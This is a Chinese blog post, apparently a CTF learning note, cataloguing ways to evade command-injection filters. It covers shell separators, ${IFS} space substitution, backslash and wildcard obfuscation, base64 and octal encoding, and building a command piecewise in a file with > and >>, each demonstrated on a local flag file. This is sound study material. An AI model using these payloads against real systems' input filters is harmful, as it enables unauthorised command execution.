命令执行漏洞各种绕过方式 您所在的位置:网站首页 命令执行空格绕过 命令执行漏洞各种绕过方式

命令执行漏洞各种绕过方式

2023-07-26 00:37| 来源: 网络整理| 查看: 265

 

本文目录 前言 命令执行漏洞绕过方式 管道符 windows中常见管道符 linux中常见管道符 空格过滤 黑名单绕过 通配符绕过 内敛执行绕过 编码绕过 绕过长度限制 `>`和`>>`两个符号的使用 命令换行 最后 参考文章

 

前言

刚做了一道题,是有关命令执行漏洞的,里面过滤的内容比较多,一时间找不到头绪,所以学习一下关于命令执行漏洞的绕过方式,以便以后遇到不会像现在这样一点思路都没有。总结完再去做就很轻松了。

命令执行漏洞绕过方式 管道符 windows中常见管道符 | 直接执行后面的语句 || 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 & 前面和后面命令都要执行,无论前面真假 && 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

命令执行漏洞各种绕过方式_读文件

linux中常见管道符

以上四种管道符在linux系统中同样适用,增加一种

; 前面和后面命令都要执行,无论前面真假 zxcv0221@kali:~/桌面$ ping -c 1 m0re;cat flag ping: m0re: 没有与主机名关联的地址 you are good! 空格过滤

这个比较多了

1.${IFS}

zxcv0221@kali:~/桌面$ cat${IFS}flag you are good! $IFS$9 $9指传过来的第9个参数 zxcv0221@kali:~/桌面$ cat$IFS$9flag you are good! zxcv0221@kali:~/桌面$ cat$IFS$1flag you are good! %09(需要PHP环境,不演示) cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

栗子:

zxcv0221@kali:~/桌面$ $(printf "\154\163") firefox-esr.desktop flag 读文件绕过(当cat被过滤) (1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容

栗子:

zxcv0221@kali:~/桌面$ more flag you are good! 反斜线 zxcv0221@kali:~/桌面$ c\at fl\ag you are good! $1、$2等和$@ zxcv0221@kali:~/桌面$ c$1at fl$@ag you are good! 通配符绕过

?代表一个字符*代表一串字符

zxcv0221@kali:~/桌面$ /???/?[a][t] ?''?''?''?'' you are good! zxcv0221@kali:~/桌面$ /???/?[a][t] ?''?''?''?'' you are good! zxcv0221@kali:~/桌面$ /???/?at flag you are good! zxcv0221@kali:~/桌面$ /???/?at ???? you are good! zxcv0221@kali:~/桌面$ /???/?[a]''[t] ?''?''?''?'' you are good!

我服了,这都可以?长见识666????*下众生平等????

内敛执行绕过 `命令`和$(命令)都是执行命令的方式

栗子:

zxcv0221@kali:~/桌面$ echo "m0re`cat flag`" m0reyou are good! zxcv0221@kali:~/桌面$ echo "m0re $(cat flag)" m0re you are good! zxcv0221@kali:~/桌面$ echo "m0re $(pwd)" m0re /home/zxcv0221/桌面 编码绕过

使用base64编码进行绕过

zxcv0221@kali:~/桌面$ `echo "Y2F0IGZsYWc="|base64 -d` you are good! 绕过长度限制 >和>>两个符号的使用

使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入命令执行漏洞各种绕过方式_linux_02>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容命令执行漏洞各种绕过方式_读文件_03

命令换行

换行执行命令

zxcv0221@kali:~/桌面$ ca\ > t\ > fl\ > ag you are good!

命令执行漏洞各种绕过方式_漏洞利用_04可以尝试写一个文件来执行命令

zxcv0221@kali:~/桌面$ echo "ca\\">shell zxcv0221@kali:~/桌面$ echo "t\\">>shell zxcv0221@kali:~/桌面$ echo " fl\\">>shell zxcv0221@kali:~/桌面$ echo "ag">>shell zxcv0221@kali:~/桌面$ cat shell ca\ t\ fl\ ag zxcv0221@kali:~/桌面$ sh shell you are good!

命令执行漏洞各种绕过方式_linux_05

最后

还有一种是使用kali中的一个工具,名字叫metasploit学会使用,需要实践利用,这里就不演示了,就像我之前写的提权的那篇文章就用到了metasploit,这个确实是一个非常强大的工具。我已经爱上这个工具了。目前这些应该就够我现阶段用的了。

参考文章

命令执行漏洞利用及绕过方式总结命令执行漏洞,绕过过滤姿势



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有